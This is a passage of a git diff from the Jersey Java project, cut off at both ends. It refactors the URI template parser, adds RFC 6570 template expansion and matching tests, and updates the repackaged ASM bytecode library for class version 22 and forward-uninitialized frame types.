State state, StringBuilder templateSb, StringBuilder regexpSb) { + if (state == State.TEMPLATE) { + templateSb.append(c); + } else { // REGEXP + regexpSb.append(c); + } + } + + private static char consumeWhiteSpace(final CharacterIterator ci) { + char c; + do { + c = ci.next(); + } while (Character.isWhitespace(c)); + + return c; + } - private char consumeWhiteSpace(final CharacterIterator ci) { - char c; - do { - c = ci.next(); - } while (Character.isWhitespace(c)); + private enum State { + TEMPLATE/**/(0b000000001), // Template name, before '*', ':', ',' or '}' + REGEXP/* */(0b000000010), // Regular expression inside template, after : + STAR/* */(0b000000100), // * + COMMA/* */(0b000001000), // , + BRACKET/* */(0b000010000), // } + EXIT/* */(0b001000000), // quit parsing + ERROR/* */(0b100000000); // error when parsing + private final int value; + State(int value) { + this.value = value; + } + + /** + * Return error state when in not any of allowed states represented by their combined values + * @param allowed The combined values of states (state1.value | state2.value) not to return error level + * @return this state if in allowed state or {@link State#ERROR} if not + */ + State transition(int allowed) { + return ((value & allowed) != 0) ? this : State.ERROR; + } - return c; + /** + * Return error state when in not any of allowed states represented by their combined values + * @param allowed The combined values of states (state1.value | state2.value) not to return error level + * @param next the next state to transition + * @return next state if in allowed state or {@link State#ERROR} if not + */ + State transition(int allowed, State next) { + return ((value & allowed) != 0) ? next : State.ERROR; + } + } } } diff --git a/core-common/src/main/resources/META-INF/native-image/org.glassfish.jersey.core/jersey-common/reflect-config.json b/core-common/src/main/resources/META-INF/native-image/org.glassfish.jersey.core/jersey-common/reflect-config.json index 9ea23c8d07..ef2ae4d4b9 100644 --- a/core-common/src/main/resources/META-INF/native-image/org.glassfish.jersey.core/jersey-common/reflect-config.json +++ b/core-common/src/main/resources/META-INF/native-image/org.glassfish.jersey.core/jersey-common/reflect-config.json @@ -1,10 +1,4 @@ [ - { - "name":"org.glassfish.jersey.internal.config.ExternalPropertiesAutoDiscoverable", - "allDeclaredFields":true, - "allDeclaredMethods":true, - "allDeclaredConstructors":true - }, { "name":"org.glassfish.jersey.internal.inject.Custom", "allDeclaredMethods":true diff --git a/core-common/src/test/java/org/glassfish/jersey/message/internal/UtilsTest.java b/core-common/src/test/java/org/glassfish/jersey/message/internal/UtilsTest.java index 55976fe629..d290dc1bc4 100644 --- a/core-common/src/test/java/org/glassfish/jersey/message/internal/UtilsTest.java +++ b/core-common/src/test/java/org/glassfish/jersey/message/internal/UtilsTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2021, 2022 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2021, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -22,22 +22,19 @@ import java.io.BufferedOutputStream; import java.io.ByteArrayInputStream; import java.io.File; -import java.io.FileOutputStream; import java.io.IOException; import java.io.OutputStream; +import java.nio.file.Files; public class UtilsTest { @Test public void createTempFile() throws IOException { final File file = Utils.createTempFile(); - final OutputStream stream = new BufferedOutputStream(new FileOutputStream(file)); - try { + try (final OutputStream stream = new BufferedOutputStream(Files.newOutputStream(file.toPath()))) { final ByteArrayInputStream entityStream = new ByteArrayInputStream("Test stream byte input".getBytes()); ReaderWriter.writeTo(entityStream, stream); - } finally { - stream.close(); } Assertions.assertTrue(file.exists()); } diff --git a/core-common/src/test/java/org/glassfish/jersey/uri/UriTemplateTest.java b/core-common/src/test/java/org/glassfish/jersey/uri/UriTemplateTest.java index 7826506379..7846c113af 100644 --- a/core-common/src/test/java/org/glassfish/jersey/uri/UriTemplateTest.java +++ b/core-common/src/test/java/org/glassfish/jersey/uri/UriTemplateTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2010, 2022 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2010, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -22,12 +22,14 @@ import java.util.Collections; import java.util.HashMap; import java.util.Iterator; +import java.util.LinkedHashMap; import java.util.List; import java.util.Map; import java.util.regex.MatchResult; import org.glassfish.jersey.uri.internal.UriTemplateParser; +import org.junit.jupiter.api.Assertions; import org.junit.jupiter.api.Test; import static org.hamcrest.CoreMatchers.equalTo; import static org.hamcrest.MatcherAssert.assertThat; @@ -284,7 +286,9 @@ void _testMatching(final String template, final String uri, final String... valu assertEquals(uri.length(), mr.end(0)); for (int i = 0; i < mr.groupCount(); i++) { assertEquals(values[i], mr.group(i + 1)); - assertEquals(values[i], uri.substring(mr.start(i + 1), mr.end(i + 1))); + int start = mr.start(i + 1); + int end = mr.end(i + 1); + assertEquals(values[i], start == -1 ? null : uri.substring(start, end)); } } @@ -432,8 +436,8 @@ public void testSubstitutionMap() { _testSubstitutionMap("http://example.com/order/{c}/{c}/{c}/", "http://example.com/order/cheeseburger/cheeseburger/cheeseburger/", "c", "cheeseburger"); - _testSubstitutionMap("http://example.com/{q}", - "http://example.com/hullo#world", + _testSubstitutionMap("http://example.com/{q}/z", + "http://example.com/hullo%23world/z", "q", "hullo#world"); _testSubstitutionMap("http://example.com/{e}/", "http://example.com//", @@ -656,7 +660,7 @@ public void testNotSettingMatrixParameter() throws Exception { private static final String base = "http://example.com/home/"; private static final String path = "/foo/bar"; private static final List list = Arrays.asList("red", "green", "blue"); - private static final Map keys = new HashMap() {{ + private static final Map keys = new LinkedHashMap() {{ put("semi", ";"); put("dot", "."); put("comma", ","); @@ -690,11 +694,42 @@ public void testRfc6570QueryTemplateExamples() { assertEncodedQueryTemplateExpansion("?x=1024&y=768&empty=", "{?x,y,empty}", x, y, empty); assertEncodedQueryTemplateExpansion("?x=1024&y=768", "{?x,y,undef}", x, y); - // TODO assertEncodedQueryTemplateExpansion("?var=val", "{?var:3}", var); - // TODO assertEncodedQueryTemplateExpansion("?list=red,green,blue", "{?list}", list); - // TODO assertEncodedQueryTemplateExpansion("?list=red&list=green&list=blue", "{?list*}", list); - // TODO assertEncodedQueryTemplateExpansion("?keys=semi,%3B,dot,.,comma,%2C", "{?keys}", keys); - // TODO assertEncodedQueryTemplateExpansion("?semi=%3B&dot=.&comma=%2C", "{?keys*}", keys); + assertEncodedQueryTemplateExpansion("?var=val", "{?var:3}", var); + assertEncodedQueryTemplateExpansion("?list=red,green,blue", "{?list}", list); + assertEncodedQueryTemplateExpansion("?list=red&list=green&list=blue", "{?list*}", list); + assertEncodedQueryTemplateExpansion("?keys=semi,%3B,dot,.,comma,%2C", "{?keys}", new Object[]{keys}); + assertEncodedQueryTemplateExpansion("?semi=%3B&dot=.&comma=%2C", "{?keys*}", new Object[]{keys}); + } + + @Test + public void testRfc6570QueryContinuationTemplateExamples() { + /* + RFC 6570, section 3.2.9: + + {&who} &who=fred + {&half} &half=50%25 + ?fixed=yes{&x} ?fixed=yes&x=1024 + {&x,y,empty} &x=1024&y=768&empty= + {&x,y,undef} &x=1024&y=768 + + {&var:3} &var=val + {&list} &list=red,green,blue + {&list*} &list=red&list=green&list=blue + {&keys} &keys=semi,%3B,dot,.,comma,%2C + {&keys*} &semi=%3B&dot=.&comma=%2C + */ + + assertEncodedQueryTemplateExpansion("&who=fred", "{ &who}", who); + assertEncodedQueryTemplateExpansion("&half=50%25", "{&half}", half); + assertEncodedQueryTemplateExpansion("?fixed=yes&x=1024", "?fixed=yes{&x}", x, y); + assertEncodedQueryTemplateExpansion("&x=1024&y=768&empty=", "{&x,y,empty}", x, y, empty); + assertEncodedQueryTemplateExpansion("&x=1024&y=768", "{&x,y,undef}", x, y); + + assertEncodedQueryTemplateExpansion("&var=val", "{&var:3}", var); + assertEncodedQueryTemplateExpansion("&list=red,green,blue", "{&list}", list); + assertEncodedQueryTemplateExpansion("&list=red&list=green&list=blue", "{&list*}", list); + assertEncodedQueryTemplateExpansion("&keys=semi,%3B,dot,.,comma,%2C", "{&keys}", new Object[]{keys}); + assertEncodedQueryTemplateExpansion("&semi=%3B&dot=.&comma=%2C", "{&keys*}", new Object[]{keys}); } private void assertEncodedQueryTemplateExpansion(final String expectedExpansion, @@ -743,11 +778,252 @@ public void testRfc6570MatrixTemplateExamples() { assertEncodedPathTemplateExpansion(";x=1024;y=768", "{;x,y}", x, y); assertEncodedPathTemplateExpansion(";x=1024;y=768;empty", "{;x,y,empty}", x, y, empty); assertEncodedPathTemplateExpansion(";x=1024;y=768", "{;x,y,undef}", x, y); - // TODO assertEncodedPathTemplateExpansion(";hello=Hello", "{;hello:5}", hello); - // TODO assertEncodedPathTemplateExpansion(";list=red,green,blue", "{;list}", list); - // TODO assertEncodedPathTemplateExpansion(";list=red;list=green;list=blue", "{;list*}", list); - // TODO assertEncodedPathTemplateExpansion(";keys=semi,%3B,dot,.,comma,%2C", "{;keys}", keys); - // TODO assertEncodedPathTemplateExpansion(";semi=%3B;dot=.;comma=%2C", "{;keys*}", keys); + assertEncodedPathTemplateExpansion(";hello=Hello", "{;hello:5}", hello); + assertEncodedPathTemplateExpansion(";list=red,green,blue", "{;list}", list); + assertEncodedPathTemplateExpansion(";list=red;list=green;list=blue", "{;list*}", list); + assertEncodedPathTemplateExpansion(";keys=semi,%3B,dot,.,comma,%2C", "{;keys}", new Object[]{keys}); + assertEncodedPathTemplateExpansion(";semi=%3B;dot=.;comma=%2C", "{;keys*}", new Object[]{keys}); + } + + @Test + void testRfc6570DefaultTemplateExamples() { + /* + RFC 6570, section 3.2.2 + {var} value + {hello} Hello%20World%21 + {half} 50%25 + O{empty}X OX + O{undef}X OX + {x,y} 1024,768 + {x,hello,y} 1024,Hello%20World%21,768 + ?{x,empty} ?1024, + ?{x,undef} ?1024 + ?{undef,y} ?768 + {var:3} val + {var:30} value + {list} red,green,blue + {list*} red,green,blue + {keys} semi,%3B,dot,.,comma,%2C + {keys*} semi=%3B,dot=.,comma=%2C + */ + + // TODO assertEncodedPathTemplateExpansion("Hello%20World%21", "{hello}", hello); // conflicts with rfc3986 Path + assertEncodedPathTemplateExpansion("50%25", "{half}", half); + assertEncodedPathTemplateExpansion("0X", "0{empty}X", empty); + // TODO assertEncodedPathTemplateExpansion("0X", "0{undef}X"); // conflicts with UriBuilder + // TODO assertEncodedPathTemplateExpansion("1024,Hello%20World%21,768", "{x,hello,y}", x, hello, y); //Path is {+} + assertEncodedPathTemplateExpansion("?1024,", "?{x,empty}", x, empty); + // TODO assertEncodedPathTemplateExpansion("?1024", "?{x,undef}", x); // conflicts with UriBuilder + assertEncodedPathTemplateExpansion("val", "{var:3}", var); + assertEncodedPathTemplateExpansion("value", "{var:30}", var); + assertEncodedPathTemplateExpansion("red,green,blue", "{list}", list); + // TODO assertEncodedPathTemplateExpansion("semi,%3B,dot,.,comma,%2C", "{keys}", keys); + // TODO assertEncodedPathTemplateExpansion("semi=%3B,dot=.,comma=%2C", "{keys*}", keys); + + // TODO Proprietary minus template +// assertEncodedPathTemplateExpansion("Hello%20World%21", "{-hello}", hello); +// assertEncodedPathTemplateExpansion("50%25", "{-half}", half); +// assertEncodedPathTemplateExpansion("0X", "0{-empty}X", empty); +// assertEncodedPathTemplateExpansion("0X", "0{-undef}X"); +// assertEncodedPathTemplateExpansion("1024,Hello%20World%21,768", "{-x,hello,y}", x, hello, y); +// assertEncodedPathTemplateExpansion("?1024,", "?{-x,empty}", x, empty); +// assertEncodedPathTemplateExpansion("?1024", "?{-x,undef}", x); +// assertEncodedPathTemplateExpansion("val", "{-var:3}", var); +// assertEncodedPathTemplateExpansion("value", "{-var:30}", var); +// assertEncodedPathTemplateExpansion("red,green,blue", "{-list}", list); +// assertEncodedPathTemplateExpansion("semi,%3B,dot,.,comma,%2C", "{-keys}", new Object[]{keys}); +// assertEncodedPathTemplateExpansion("semi=%3B,dot=.,comma=%2C", "{-keys*}", new Object[]{keys}); + } + + @Test + void testRfc6570PlusTemplateExamples() { + /* + RFC 6570, section 3.2.3 + {+var} value + {+hello} Hello%20World! + {+half} 50%25 + + {base}index http%3A%2F%2Fexample.com%2Fhome%2Findex + {+base}index http://example.com/home/index + O{+empty}X OX + O{+undef}X OX + + {+path}/here /foo/bar/here + here?ref={+path} here?ref=/foo/bar + up{+path}{var}/here up/foo/barvalue/here + {+x,hello,y} 1024,Hello%20World!,768 + {+path,x}/here /foo/bar,1024/here + + {+path:6}/here /foo/b/here + {+list} red,green,blue + {+list*} red,green,blue + {+keys} semi,;,dot,.,comma,, + {+keys*} semi=;,dot=.,comma=, + */ + assertEncodedPathTemplateExpansion("Hello%20World!", "{+hello}", hello); + assertEncodedPathTemplateExpansion("50%25", "{+half}", half); + assertEncodedPathTemplateExpansion("50%25", "{+half}", half); +// assertEncodedPathTemplateExpansion("http%3A%2F%2Fexample.com%2Fhome%2Findex", "{-base}index", base); + assertEncodedPathTemplateExpansion("http://example.com/home/index", "{+base}index", base); + assertEncodedPathTemplateExpansion("/foo/bar/here", "{+path}/here", path); + assertEncodedPathTemplateExpansion("here?ref=/foo/bar", "here?ref={+path}", path); + assertEncodedPathTemplateExpansion("up/foo/barvalue/here", "up{+path}{var}/here", path, var); + assertEncodedPathTemplateExpansion("1024,Hello%20World!,768", "{+x,hello,y}", x, hello, y); + assertEncodedPathTemplateExpansion("/foo/bar,1024/here", "{+path,x}/here", path, x); + assertEncodedPathTemplateExpansion("/foo/b/here", "{+path:6}/here", path); + assertEncodedPathTemplateExpansion("red,green,blue", "{+list}", list); + assertEncodedPathTemplateExpansion("red,green,blue", "{+list*}", list); + assertEncodedPathTemplateExpansion("semi,;,dot,.,comma,,", "{+keys}", new Object[]{keys}); + assertEncodedPathTemplateExpansion("semi=;,dot=.,comma=,", "{+keys*}", new Object[]{keys}); + } + + @Test + void testRfc6570HashTemplateExamples() { + /* + RFC 6570, section 3.2.4 + {#var} #value + {#hello} #Hello%20World! + {#half} #50%25 + foo{#empty} foo# + foo{#undef} foo + {#x,hello,y} #1024,Hello%20World!,768 + {#path,x}/here #/foo/bar,1024/here + {#path:6}/here #/foo/b/here + {#list} #red,green,blue + {#list*} #red,green,blue + {#keys} #semi,;,dot,.,comma,, + {#keys*} #semi=;,dot=.,comma=, + */ + assertEncodedPathTemplateExpansion("#Hello%20World!", "{#hello}", hello); + assertEncodedPathTemplateExpansion("#50%25", "{#half}", half); + assertEncodedPathTemplateExpansion("0#X", "0{#empty}X", empty); + assertEncodedPathTemplateExpansion("0X", "0{#undef}X"); + assertEncodedPathTemplateExpansion("#1024,Hello%20World!,768", "{#x,hello,y}", x, hello, y); + assertEncodedPathTemplateExpansion("#/foo/bar,1024/here", "{#path,x}/here", path, x); + assertEncodedPathTemplateExpansion("#/foo/b/here", "{#path:6}/here", path); + assertEncodedPathTemplateExpansion("#red,green,blue", "{#list}", list); + assertEncodedPathTemplateExpansion("#red,green,blue", "{#list*}", list); + assertEncodedPathTemplateExpansion("#semi,;,dot,.,comma,,", "{#keys}", new Object[]{keys}); + assertEncodedPathTemplateExpansion("#semi=;,dot=.,comma=,", "{#keys*}", new Object[]{keys}); + } + + @Test + void testRfc6570DotTemplateExamples() { + /* + RFC 6570, section 3.2.5 + {.who} .fred + {.who,who} .fred.fred + {.half,who} .50%25.fred + www{.dom*} www.example.com + X{.var} X.value + X{.empty} X. + X{.undef} X + X{.var:3} X.val + X{.list} X.red,green,blue + X{.list*} X.red.green.blue + X{.keys} X.semi,%3B,dot,.,comma,%2C + X{.keys*} X.semi=%3B.dot=..comma=%2C + X{.empty_keys} X + X{.empty_keys*} X + */ + assertEncodedPathTemplateExpansion(".fred", "{.who}", who); + assertEncodedPathTemplateExpansion(".fred.fred", "{.who,who}", who); + assertEncodedPathTemplateExpansion(".50%25.fred", "{.half,who}", half, who); + assertEncodedPathTemplateExpansion("www.example.com", "www{.dom*}", dom); + assertEncodedPathTemplateExpansion("X.value", "X{.var}", var); + assertEncodedPathTemplateExpansion("X.", "X{.empty}", empty); + assertEncodedPathTemplateExpansion("X", "X{.undef}"); + assertEncodedPathTemplateExpansion("X.val", "X{.var:3}", var); + assertEncodedPathTemplateExpansion("X.red,green,blue", "X{.list}", list); + assertEncodedPathTemplateExpansion("X.red.green.blue", "X{.list*}", list); + assertEncodedPathTemplateExpansion("X.semi,%3B,dot,.,comma,%2C", "X{.keys}", new Object[]{keys}); + assertEncodedPathTemplateExpansion("X.semi=%3B.dot=..comma=%2C", "X{.keys*}", new Object[]{keys}); + assertEncodedPathTemplateExpansion("X", "X{.empty_keys}", emptyKeys); + assertEncodedPathTemplateExpansion("X", "X{.empty_keys*}", emptyKeys); + } + + @Test + void testRfc6570SlashTemplateExamples() { + /* + RFC 6570, section 3.2.6 + + {/who} /fred + {/who,who} /fred/fred + {/half,who} /50%25/fred + {/who,dub} /fred/me%2Ftoo + {/var} /value + {/var,empty} /value/ + {/var,undef} /value + {/var,x}/here /value/1024/here + {/var:1,var} /v/value + {/list} /red,green,blue + {/list*} /red/green/blue + {/list*,path:4} /red/green/blue/%2Ffoo + {/keys} /semi,%3B,dot,.,comma,%2C + {/keys*} /semi=%3B/dot=./comma=%2C + */ + assertEncodedPathTemplateExpansion("/fred", "{/who}", who); + assertEncodedPathTemplateExpansion("/fred/fred", "{/who,who}", who); + assertEncodedPathTemplateExpansion("/50%25/fred", "{/half,who}", half, who); + assertEncodedPathTemplateExpansion("/fred/me%2Ftoo", "{/who,dub}", who, dub); + assertEncodedPathTemplateExpansion("/value", "{/var}", var); + assertEncodedPathTemplateExpansion("/value/", "{/var,empty}", var, empty); + assertEncodedPathTemplateExpansion("/value", "{/var,undef}", var); + assertEncodedPathTemplateExpansion("/v/value", "{/var:1,var}", var); + assertEncodedPathTemplateExpansion("/red,green,blue", "{/list}", list); + assertEncodedPathTemplateExpansion("/red/green/blue", "{/list*}", list); + assertEncodedPathTemplateExpansion("/red/green/blue/%2Ffoo", "{/list*,path:4}", list, path); + assertEncodedPathTemplateExpansion("/semi,%3B,dot,.,comma,%2C", "{/keys}", new Object[]{keys}); + assertEncodedPathTemplateExpansion("/semi=%3B/dot=./comma=%2C", "{/keys*}", new Object[]{keys}); + } + + @Test + void testRfc6570MultiplePathArgs() { + _testTemplateNames("/{a,b,c}", "a", "b", "c"); + _testMatching("/uri/{a}", "/uri/hello", "hello"); + _testMatching("/uri/{a,b}", "/uri/hello,world", "hello", "world"); + _testMatching("/uri{?a,b}", "/uri?a=hello&b=world", "hello", "world"); + _testMatching("/uri/{a,b,c}", "/uri/hello,world,!", "hello", "world", "!"); + _testMatching("/uri/{a,b,c}", "/uri/hello,world", "hello", "world", null); + _testMatching("/uri/{a,b,c}", "/uri/hello", "hello", null, null); + _testMatching("/uri/{a,b,c}", "/uri/", null, null, null); + } + + @Test + void testRfc6570PathLength() { + _testMatching("/uri/{a:5}", "/uri/hello", "hello"); + _testMatching("/uri/{a:5,b:6}", "/uri/hello,world!", "hello", "world!"); + assertEncodedPathTemplateExpansion("102,7", "{x:3,y:1}", x, y); + } + + @Test + void testInvalidRegexp() { + _assertMatchingThrowsIAE("/uri/{a**}"); + _assertMatchingThrowsIAE("/uri/{a*a}"); + _assertMatchingThrowsIAE("/uri/{a{"); + _assertMatchingThrowsIAE("/uri/{*}"); + _assertMatchingThrowsIAE("/uri/{}}"); + _assertMatchingThrowsIAE("/uri/{?a:12345}"); //Query knows just length, but the length must be less than 10000 + _assertMatchingThrowsIAE("/uri/{?a:0}"); + _assertMatchingThrowsIAE("/uri/{?a:-1}"); + _assertMatchingThrowsIAE("/uri/{??a}"); + _assertMatchingThrowsIAE("/uri/{--a}"); + _assertMatchingThrowsIAE("/uri/{++a}"); + } + + @Test + public void ignoreLastComma() { + UriTemplateParser parser = new UriTemplateParser("/{a,b,}"); + Assertions.assertEquals(2, parser.getNames().size()); + } + + void _assertMatchingThrowsIAE(String uri) { + try { + _testMatching(uri, "/uri/hello", "hello"); + throw new IllegalStateException("IllegalArgumentException checking incorrect uri " + uri + " has not been thrown"); + } catch (IllegalArgumentException e) { + // expected + } } private void assertEncodedPathTemplateExpansion(final String expectedExpansion, diff --git a/core-server/src/main/java/jersey/repackaged/org/objectweb/asm/ClassReader.java b/core-server/src/main/java/jersey/repackaged/org/objectweb/asm/ClassReader.java index 21969f0303..820a3b84bc 100644 --- a/core-server/src/main/java/jersey/repackaged/org/objectweb/asm/ClassReader.java +++ b/core-server/src/main/java/jersey/repackaged/org/objectweb/asm/ClassReader.java @@ -188,13 +188,14 @@ public ClassReader( * @param classFileOffset the offset in byteBuffer of the first byte of the ClassFile to be read. * @param checkClassVersion whether to check the class version or not. */ + @SuppressWarnings("PMD.ConstructorCallsOverridableMethod") ClassReader( final byte[] classFileBuffer, final int classFileOffset, final boolean checkClassVersion) { this.classFileBuffer = classFileBuffer; this.b = classFileBuffer; // Check the class' major_version. This field is after the magic and minor_version fields, which // use 4 and 2 bytes respectively. - if (checkClassVersion && readShort(classFileOffset + 6) > Opcodes.V21) { + if (checkClassVersion && readShort(classFileOffset + 6) > Opcodes.V22) { throw new IllegalArgumentException( "Unsupported class file major version " + readShort(classFileOffset + 6)); } diff --git a/core-server/src/main/java/jersey/repackaged/org/objectweb/asm/ClassWriter.java b/core-server/src/main/java/jersey/repackaged/org/objectweb/asm/ClassWriter.java index 7bb6ab075f..75881882ea 100644 --- a/core-server/src/main/java/jersey/repackaged/org/objectweb/asm/ClassWriter.java +++ b/core-server/src/main/java/jersey/repackaged/org/objectweb/asm/ClassWriter.java @@ -217,6 +217,7 @@ public class ClassWriter extends ClassVisitor { /** * Indicates what must be automatically computed in {@link MethodWriter}. Must be one of {@link * MethodWriter#COMPUTE_NOTHING}, {@link MethodWriter#COMPUTE_MAX_STACK_AND_LOCAL}, {@link + * MethodWriter#COMPUTE_MAX_STACK_AND_LOCAL_FROM_FRAMES}, {@link * MethodWriter#COMPUTE_INSERTED_FRAMES}, or {@link MethodWriter#COMPUTE_ALL_FRAMES}. */ private int compute; diff --git a/core-server/src/main/java/jersey/repackaged/org/objectweb/asm/Frame.java b/core-server/src/main/java/jersey/repackaged/org/objectweb/asm/Frame.java index be4364a4f6..30d86e517b 100644 --- a/core-server/src/main/java/jersey/repackaged/org/objectweb/asm/Frame.java +++ b/core-server/src/main/java/jersey/repackaged/org/objectweb/asm/Frame.java @@ -64,8 +64,8 @@ * right shift of {@link #DIM_SHIFT}. *
  • the KIND field, stored in 4 bits, indicates the kind of VALUE used. These 4 bits can be * retrieved with {@link #KIND_MASK} and, without any shift, must be equal to {@link - * #CONSTANT_KIND}, {@link #REFERENCE_KIND}, {@link #UNINITIALIZED_KIND}, {@link #LOCAL_KIND} - * or {@link #STACK_KIND}. + * #CONSTANT_KIND}, {@link #REFERENCE_KIND}, {@link #UNINITIALIZED_KIND}, {@link + * #FORWARD_UNINITIALIZED_KIND},{@link #LOCAL_KIND} or {@link #STACK_KIND}. *
  • the FLAGS field, stored in 2 bits, contains up to 2 boolean flags. Currently only one flag * is defined, namely {@link #TOP_IF_LONG_OR_DOUBLE_FLAG}. *
  • the VALUE field, stored in the remaining 20 bits, contains either @@ -78,7 +78,10 @@ *
  • the index of a {@link Symbol#TYPE_TAG} {@link Symbol} in the type table of a {@link * SymbolTable}, if KIND is equal to {@link #REFERENCE_KIND}. *
  • the index of an {@link Symbol#UNINITIALIZED_TYPE_TAG} {@link Symbol} in the type - * table of a SymbolTable, if KIND is equal to {@link #UNINITIALIZED_KIND}. + * table of a {@link SymbolTable}, if KIND is equal to {@link #UNINITIALIZED_KIND}. + *
  • the index of a {@link Symbol#FORWARD_UNINITIALIZED_TYPE_TAG} {@link Symbol} in the + * type table of a {@link SymbolTable}, if KIND is equal to {@link + * #FORWARD_UNINITIALIZED_KIND}. *
  • the index of a local variable in the input stack frame, if KIND is equal to {@link * #LOCAL_KIND}. *
  • a position relatively to the top of the stack of the input stack frame, if KIND is @@ -88,10 +91,10 @@ * *

    Output frames can contain abstract types of any kind and with a positive or negative array * dimension (and even unassigned types, represented by 0 - which does not correspond to any valid - * abstract type value). Input frames can only contain CONSTANT_KIND, REFERENCE_KIND or - * UNINITIALIZED_KIND abstract types of positive or {@literal null} array dimension. In all cases - * the type table contains only internal type names (array type descriptors are forbidden - array - * dimensions must be represented through the DIM field). + * abstract type value). Input frames can only contain CONSTANT_KIND, REFERENCE_KIND, + * UNINITIALIZED_KIND or FORWARD_UNINITIALIZED_KIND abstract types of positive or {@literal null} + * array dimension. In all cases the type table contains only internal type names (array type + * descriptors are forbidden - array dimensions must be represented through the DIM field). * *

    The LONG and DOUBLE types are always represented by using two slots (LONG + TOP or DOUBLE + * TOP), for local variables as well as in the operand stack. This is necessary to be able to @@ -159,8 +162,9 @@ class Frame { private static final int CONSTANT_KIND = 1 << KIND_SHIFT; private static final int REFERENCE_KIND = 2 << KIND_SHIFT; private static final int UNINITIALIZED_KIND = 3 << KIND_SHIFT; - private static final int LOCAL_KIND = 4 << KIND_SHIFT; - private static final int STACK_KIND = 5 << KIND_SHIFT; + private static final int FORWARD_UNINITIALIZED_KIND = 4 << KIND_SHIFT; + private static final int LOCAL_KIND = 5 << KIND_SHIFT; + private static final int STACK_KIND = 6 << KIND_SHIFT; // Possible flags for the FLAGS field of an abstract type. @@ -220,13 +224,13 @@ class Frame { /** * The abstract types that are initialized in the basic block. A constructor invocation on an - * UNINITIALIZED or UNINITIALIZED_THIS abstract type must replace every occurrence of this - * type in the local variables and in the operand stack. This cannot be done during the first step - * of the algorithm since, during this step, the local variables and the operand stack types are - * still abstract. It is therefore necessary to store the abstract types of the constructors which - * are invoked in the basic block, in order to do this replacement during the second step of the - * algorithm, where the frames are fully computed. Note that this array can contain abstract types - * that are relative to the input locals or to the input stack. + * UNINITIALIZED, FORWARD_UNINITIALIZED or UNINITIALIZED_THIS abstract type must replace every + * occurrence of this type in the local variables and in the operand stack. This cannot be + * done during the first step of the algorithm since, during this step, the local variables and + * the operand stack types are still abstract. It is therefore necessary to store the abstract + * types of the constructors which are invoked in the basic block, in order to do this replacement + * during the second step of the algorithm, where the frames are fully computed. Note that this + * array can contain abstract types that are relative to the input locals or to the input stack. */ private int[] initializations; @@ -284,8 +288,12 @@ static int getAbstractTypeFromApiFormat(final SymbolTable symbolTable, final Obj String descriptor = Type.getObjectType((String) type).getDescriptor(); return getAbstractTypeFromDescriptor(symbolTable, descriptor, 0); } else { - return UNINITIALIZED_KIND - | symbolTable.addUninitializedType("", ((Label) type).bytecodeOffset); + Label label = (Label) type; + if ((label.flags & Label.FLAG_RESOLVED) != 0) { + return UNINITIALIZED_KIND | symbolTable.addUninitializedType("", label.bytecodeOffset); + } else { + return FORWARD_UNINITIALIZED_KIND | symbolTable.addForwardUninitializedType("", label); + } } } @@ -637,12 +645,14 @@ private void addInitializedType(final int abstractType) { * @param symbolTable the type table to use to lookup and store type {@link Symbol}. * @param abstractType an abstract type. * @return the REFERENCE_KIND abstract type corresponding to abstractType if it is - * UNINITIALIZED_THIS or an UNINITIALIZED_KIND abstract type for one of the types on which a - * constructor is invoked in the basic block. Otherwise returns abstractType. + * UNINITIALIZED_THIS or an UNINITIALIZED_KIND or FORWARD_UNINITIALIZED_KIND abstract type for + * one of the types on which a constructor is invoked in the basic block. Otherwise returns + * abstractType. */ private int getInitializedType(final SymbolTable symbolTable, final int abstractType) { if (abstractType == UNINITIALIZED_THIS - || (abstractType & (DIM_MASK | KIND_MASK)) == UNINITIALIZED_KIND) { + || (abstractType & (DIM_MASK | KIND_MASK)) == UNINITIALIZED_KIND + || (abstractType & (DIM_MASK | KIND_MASK)) == FORWARD_UNINITIALIZED_KIND) { for (int i = 0; i < initializationCount; ++i) { int initializedType = initializations[i]; int dim = initializedType & DIM_MASK; @@ -1253,11 +1263,12 @@ final boolean merge( * * @param symbolTable the type table to use to lookup and store type {@link Symbol}. * @param sourceType the abstract type with which the abstract type array element must be merged. - * This type should be of {@link #CONSTANT_KIND}, {@link #REFERENCE_KIND} or {@link - * #UNINITIALIZED_KIND} kind, with positive or {@literal null} array dimensions. + * This type should be of {@link #CONSTANT_KIND}, {@link #REFERENCE_KIND}, {@link + * #UNINITIALIZED_KIND} or {@link #FORWARD_UNINITIALIZED_KIND} kind, with positive or + * {@literal null} array dimensions. * @param dstTypes an array of abstract types. These types should be of {@link #CONSTANT_KIND}, - * {@link #REFERENCE_KIND} or {@link #UNINITIALIZED_KIND} kind, with positive or {@literal - * null} array dimensions. + * {@link #REFERENCE_KIND}, {@link #UNINITIALIZED_KIND} or {@link #FORWARD_UNINITIALIZED_KIND} + * kind, with positive or {@literal null} array dimensions. * @param dstIndex the index of the type that must be merged in dstTypes. * @return {@literal true} if the type array has been modified by this operation. */ @@ -1400,7 +1411,8 @@ final void accept(final MethodWriter methodWriter) { * * @param symbolTable the type table to use to lookup and store type {@link Symbol}. * @param abstractType an abstract type, restricted to {@link Frame#CONSTANT_KIND}, {@link - * Frame#REFERENCE_KIND} or {@link Frame#UNINITIALIZED_KIND} types. + * Frame#REFERENCE_KIND}, {@link Frame#UNINITIALIZED_KIND} or {@link + * Frame#FORWARD_UNINITIALIZED_KIND} types. * @param output where the abstract type must be put. * @see JVMS * 4.7.4 @@ -1422,6 +1434,10 @@ static void putAbstractType( case UNINITIALIZED_KIND: output.putByte(ITEM_UNINITIALIZED).putShort((int) symbolTable.getType(typeValue).data); break; + case FORWARD_UNINITIALIZED_KIND: + output.putByte(ITEM_UNINITIALIZED); + symbolTable.getForwardUninitializedLabel(typeValue).put(output); + break; default: throw new AssertionError(); } diff --git a/core-server/src/main/java/jersey/repackaged/org/objectweb/asm/Label.java b/core-server/src/main/java/jersey/repackaged/org/objectweb/asm/Label.java index 2933a99c18..0f9e3c9ae8 100644 --- a/core-server/src/main/java/jersey/repackaged/org/objectweb/asm/Label.java +++ b/core-server/src/main/java/jersey/repackaged/org/objectweb/asm/Label.java @@ -116,6 +116,13 @@ public class Label { */ static final int 